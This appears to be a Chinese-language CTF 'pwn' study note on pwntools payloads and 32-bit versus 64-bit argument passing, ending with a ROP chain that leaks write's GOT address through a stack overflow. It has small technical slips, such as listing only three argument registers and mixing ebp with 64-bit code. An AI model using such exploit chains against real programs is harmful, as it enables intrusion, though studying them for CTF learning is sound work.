对payload以及函数传参的进一步理解

pwn

  • payload
  • 32位程序传参
  • 64位程序传参

payload

模板:

payload=“a“*0x88
p.sendline(payload)

在模板里是先编造好payload,再在程序需要输入时用sendline()将payload向程序输入,程序接收payload对某些变量赋值。

例如:

read(0&buf,0x200ull);

在与靶机交互时,靶机执行到read函数时,会需要我们输入,这时我们输入payload,程序会对buf字符串赋值为88个a。

32位程序传参

在调用子函数之前计算机会开辟一段栈空间,然后将子函数的参数从右至左依次入栈,再将调用子函数指令的下一条指令的地址入栈。
子函数调用参数并不是用“pop”指令而是引用(如:“mov eax,4(ebp)"),在恢复栈的同时会释放子函数所相对的栈空间。

64位程序传参

64位程序与32位程序不同,64位是用rdx、rsi、rdi三个寄存器传参,进行子函数调用时程序会先将子函数的参数存入rdx、rsi、rdi,再执行call指令跳转。

例如:

read(0&buf,0x200ull);

汇编指令:

lea     rax, [rbp+buf]
mov     edx, 200h       ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read

在这里,主函数调用read函数时,先将200h、[rbp+buf]、0存入edx、rsi、edi中,再执行call _read;

故,利用write函数泄漏write_got地址的payload为:

payload='a'*(offset+8)#填充buf以及ebp
payload+=p64(pop_rdi_ret)+p64(0x1)+p64(pop_rsi_r15_ret)
#填入"pop rdi;ret;"指令地址以及对应参数"0",在执行"pop rdi;"后"ret;"指令将返回至"pop rsi;pop r15;ret"指令地址处
payload+=p64(write_got)+'deadbeef'#write_got函数地址与'deadbeef'存入rsi与r15
payload+=p64(write_plt)+p64(main_addr)
#"ret;"指令返回至write函数地址处,在执行完write函数后跳转至main函数处继续执行,main函数将继续执行write函数

在这里就有一个问题,在payload编造开始时我们进行了一次对ebp的填充,而在payload编造最后填充了write函数地址后并未对ebp进行填充,为什么?

首先要知道在子函数被主函数调用时,将当前ebp压栈以及将main函数ebp出栈到ebp的操作是子函数执行的。

继续回答上面的问题,这是因为在payload编造开始时,我们是在read函数正被调用时向程序输入payload的,这时主函数调用子函数要进行的操作(将参数存入寄存器、将返回地址压栈)以及子函数被调用时要进行的操作(将当前main函数ebp压栈)已经执行完了,故在栈溢出利用时要考虑到子函数调用结束时对main函数ebp出栈的操作而填充ebp,避免将利用函数返回地址出栈到ebp、ret指令返回其他地址导致题目打不下来。
而在payload编造最后并未填充ebp的原因是;payload编造最后程序执行"ret write_plt"将write函数从被调用开始到调用结束完整的执行了一遍(包括执行"push ebp"“pop ebp”),所以不需要填充ebp。

你可能感兴趣的:(PWN)